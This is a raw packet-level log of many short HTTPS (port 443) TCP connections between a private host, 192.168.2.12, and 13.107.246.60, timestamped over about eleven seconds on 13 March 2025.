Mar 13, 2025 10:08:22.221633911 CET	49759	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.221697092 CET	49759	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.221946955 CET	49759	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.221966028 CET	443	49759	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.221992016 CET	49759	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.221997976 CET	443	49759	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.225562096 CET	49763	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.225594997 CET	443	49763	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.225672007 CET	49763	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.225840092 CET	49763	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.225852013 CET	443	49763	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.266057968 CET	49758	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.266084909 CET	443	49758	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.266226053 CET	49758	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.266236067 CET	443	49758	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.266248941 CET	49758	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.266604900 CET	443	49758	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.266640902 CET	443	49758	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.266679049 CET	49758	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.269320011 CET	49764	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.269356012 CET	443	49764	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.269438982 CET	49764	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.269639969 CET	49764	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.269651890 CET	443	49764	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.287997961 CET	443	49760	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.291075945 CET	443	49760	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.291218042 CET	49760	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.291279078 CET	49760	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.291301966 CET	443	49760	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.291315079 CET	49760	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.291321039 CET	443	49760	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.294625044 CET	49765	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.294673920 CET	443	49765	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:22.294760942 CET	49765	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.294930935 CET	49765	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:22.294944048 CET	443	49765	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.098118067 CET	443	49761	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.099320889 CET	49761	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.099320889 CET	49761	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.099360943 CET	443	49761	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.099385977 CET	443	49761	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.203161001 CET	443	49762	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.203763962 CET	49762	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.203792095 CET	443	49762	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.204219103 CET	49762	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.204226017 CET	443	49762	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.337840080 CET	443	49763	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.338632107 CET	49763	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.338664055 CET	443	49763	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.339073896 CET	49763	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.339083910 CET	443	49763	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.387818098 CET	443	49764	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.388428926 CET	49764	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.388444901 CET	443	49764	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.388870955 CET	49764	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.388875961 CET	443	49764	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.549755096 CET	443	49765	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.550333023 CET	49765	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.550348997 CET	443	49765	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.551290035 CET	49765	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.551295996 CET	443	49765	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.794596910 CET	443	49761	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.794670105 CET	443	49761	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.794732094 CET	49761	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.795017004 CET	49761	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.795032024 CET	443	49761	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.795046091 CET	49761	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.795053005 CET	443	49761	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.798278093 CET	49766	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.798316002 CET	443	49766	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.798387051 CET	49766	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.798527956 CET	49766	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.798541069 CET	443	49766	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.854269981 CET	443	49763	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.854307890 CET	443	49763	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.854352951 CET	49763	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.854363918 CET	443	49763	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.854377031 CET	443	49763	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.854407072 CET	49763	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.854641914 CET	49763	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.854660988 CET	443	49763	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.854679108 CET	49763	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.854691029 CET	443	49763	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.857677937 CET	49767	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.857705116 CET	443	49767	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.857767105 CET	49767	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.857945919 CET	49767	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.857959986 CET	443	49767	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.913954020 CET	443	49762	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.914026022 CET	443	49762	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.914071083 CET	49762	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.914256096 CET	49762	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.914271116 CET	443	49762	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.914284945 CET	49762	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.914289951 CET	443	49762	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.917404890 CET	49768	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.917439938 CET	443	49768	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:24.917519093 CET	49768	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.917717934 CET	49768	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:24.917732000 CET	443	49768	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:25.059545994 CET	443	49764	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:25.059631109 CET	443	49764	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:25.059715033 CET	49764	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:25.059896946 CET	49764	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:25.059896946 CET	49764	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:25.059923887 CET	443	49764	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:25.059931993 CET	443	49764	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:25.063008070 CET	49769	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:25.063043118 CET	443	49769	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:25.063102961 CET	49769	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:25.063323021 CET	49769	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:25.063338995 CET	443	49769	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:25.244018078 CET	443	49765	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:25.244092941 CET	443	49765	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:25.244154930 CET	49765	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:25.244347095 CET	49765	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:25.244369030 CET	443	49765	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:25.244383097 CET	49765	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:25.244389057 CET	443	49765	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:25.247441053 CET	49770	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:25.247483015 CET	443	49770	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:25.247571945 CET	49770	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:25.247740984 CET	49770	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:25.247757912 CET	443	49770	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:26.946795940 CET	443	49766	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:26.947499990 CET	49766	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:26.947520971 CET	443	49766	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:26.948086023 CET	49766	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:26.948091030 CET	443	49766	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:26.981096029 CET	443	49768	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:26.981971979 CET	49768	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:26.981983900 CET	443	49768	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:26.982652903 CET	49768	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:26.982657909 CET	443	49768	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:26.986955881 CET	443	49767	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:26.987488985 CET	49767	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:26.987515926 CET	443	49767	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:26.988030910 CET	49767	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:26.988037109 CET	443	49767	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.207832098 CET	443	49769	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.208426952 CET	49769	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.208456993 CET	443	49769	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.208863974 CET	49769	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.208872080 CET	443	49769	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.452245951 CET	443	49770	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.452816010 CET	49770	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.452853918 CET	443	49770	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.453231096 CET	49770	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.453239918 CET	443	49770	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.518836021 CET	443	49767	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.518934965 CET	443	49767	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.519001961 CET	49767	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.519279003 CET	49767	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.519299984 CET	443	49767	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.519310951 CET	49767	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.519316912 CET	443	49767	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.522844076 CET	49771	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.522891045 CET	443	49771	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.523008108 CET	49771	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.523236036 CET	49771	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.523246050 CET	443	49771	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.679080963 CET	443	49768	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.682209969 CET	443	49768	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.682280064 CET	49768	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.682338953 CET	49768	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.682362080 CET	443	49768	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.682424068 CET	49768	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.682434082 CET	443	49768	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.685517073 CET	49772	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.685554981 CET	443	49772	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.685625076 CET	49772	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.685775995 CET	49772	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.685789108 CET	443	49772	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.687393904 CET	443	49766	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.687478065 CET	443	49766	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.687544107 CET	49766	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.687679052 CET	49766	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.687696934 CET	443	49766	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.687716007 CET	49766	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.687721014 CET	443	49766	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.691102028 CET	49773	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.691143990 CET	443	49773	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.691217899 CET	49773	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.691380024 CET	49773	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.691391945 CET	443	49773	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.912801981 CET	443	49769	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.912902117 CET	443	49769	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.912991047 CET	49769	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.913320065 CET	49769	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.913342953 CET	443	49769	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.913353920 CET	49769	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.913361073 CET	443	49769	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.917720079 CET	49775	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.917769909 CET	443	49775	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:27.917824030 CET	49775	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.918154001 CET	49775	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:27.918173075 CET	443	49775	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:28.172130108 CET	443	49770	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:28.172207117 CET	443	49770	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:28.172328949 CET	49770	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:28.172844887 CET	49770	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:28.172844887 CET	49770	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:28.172869921 CET	443	49770	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:28.172880888 CET	443	49770	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:28.176131010 CET	49776	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:28.176165104 CET	443	49776	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:28.176248074 CET	49776	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:28.176445961 CET	49776	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:28.176451921 CET	443	49776	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:29.668333054 CET	443	49771	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:29.669084072 CET	49771	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:29.669122934 CET	443	49771	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:29.669549942 CET	49771	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:29.669558048 CET	443	49771	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:29.786829948 CET	443	49773	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:29.787306070 CET	49773	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:29.787326097 CET	443	49773	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:29.787734032 CET	49773	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:29.787739038 CET	443	49773	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:29.865468025 CET	443	49772	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:29.866118908 CET	49772	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:29.866138935 CET	443	49772	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:29.866513014 CET	49772	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:29.866518974 CET	443	49772	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:29.990483999 CET	443	49775	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:29.991117001 CET	49775	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:29.991147041 CET	443	49775	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:29.991660118 CET	49775	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:29.991666079 CET	443	49775	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.236699104 CET	443	49776	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.237214088 CET	49776	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.237230062 CET	443	49776	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.237679005 CET	49776	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.237684965 CET	443	49776	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.318921089 CET	443	49772	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.318996906 CET	443	49772	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.319077969 CET	49772	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.319305897 CET	49772	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.319328070 CET	443	49772	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.319340944 CET	49772	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.319346905 CET	443	49772	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.322628975 CET	49777	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.322673082 CET	443	49777	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.322768927 CET	49777	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.322983027 CET	49777	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.322994947 CET	443	49777	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.368968964 CET	443	49771	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.369007111 CET	443	49771	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.369074106 CET	443	49771	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.369102955 CET	49771	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.369146109 CET	49771	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.369396925 CET	49771	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.369411945 CET	443	49771	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.369426966 CET	49771	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.369432926 CET	443	49771	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.372567892 CET	49778	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.372608900 CET	443	49778	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.372700930 CET	49778	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.372881889 CET	49778	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.372895002 CET	443	49778	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.449764967 CET	443	49773	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.449806929 CET	443	49773	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.449878931 CET	443	49773	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.450043917 CET	49773	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.450313091 CET	49773	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.450334072 CET	443	49773	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.450413942 CET	49773	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.450421095 CET	443	49773	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.453752041 CET	49779	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.453799009 CET	443	49779	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.453897953 CET	49779	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.454058886 CET	49779	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.454068899 CET	443	49779	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.722599030 CET	443	49775	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.722687006 CET	443	49775	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.722758055 CET	49775	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.723845959 CET	49775	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.723875046 CET	443	49775	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.723891973 CET	49775	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.723900080 CET	443	49775	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.727952957 CET	49780	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.727996111 CET	443	49780	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.728070021 CET	49780	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.728223085 CET	49780	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.728239059 CET	443	49780	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.972830057 CET	443	49776	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.972857952 CET	443	49776	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.972907066 CET	49776	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.972912073 CET	443	49776	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.972956896 CET	49776	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.973205090 CET	49776	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.973225117 CET	443	49776	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.973237991 CET	49776	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.973243952 CET	443	49776	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.976330996 CET	49781	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.976383924 CET	443	49781	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:30.976490021 CET	49781	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.976730108 CET	49781	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:30.976742029 CET	443	49781	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:32.513526917 CET	443	49777	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:32.514261007 CET	49777	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:32.514290094 CET	443	49777	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:32.514803886 CET	49777	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:32.514808893 CET	443	49777	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:32.622092962 CET	443	49779	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:32.622613907 CET	49779	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:32.622634888 CET	443	49779	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:32.623167992 CET	49779	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:32.623172045 CET	443	49779	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:32.629324913 CET	443	49778	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:32.630326986 CET	49778	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:32.630337954 CET	443	49778	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:32.630810976 CET	49778	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:32.630815029 CET	443	49778	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:32.901313066 CET	443	49780	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:32.901921034 CET	49780	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:32.901973009 CET	443	49780	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:32.902385950 CET	49780	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:32.902400017 CET	443	49780	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.167848110 CET	443	49777	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.167929888 CET	443	49777	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.168032885 CET	49777	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.168242931 CET	49777	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.168242931 CET	49777	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.168263912 CET	443	49777	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.168272972 CET	443	49777	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.171506882 CET	49783	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.171560049 CET	443	49783	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.171659946 CET	49783	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.171878099 CET	49783	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.171894073 CET	443	49783	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.196861982 CET	443	49778	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.196962118 CET	443	49778	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.197329044 CET	49778	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.197351933 CET	49778	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.197371960 CET	443	49778	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.197384119 CET	49778	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.197391033 CET	443	49778	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.200644016 CET	49784	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.200700045 CET	443	49784	13.107.246.60	192.168.2.12
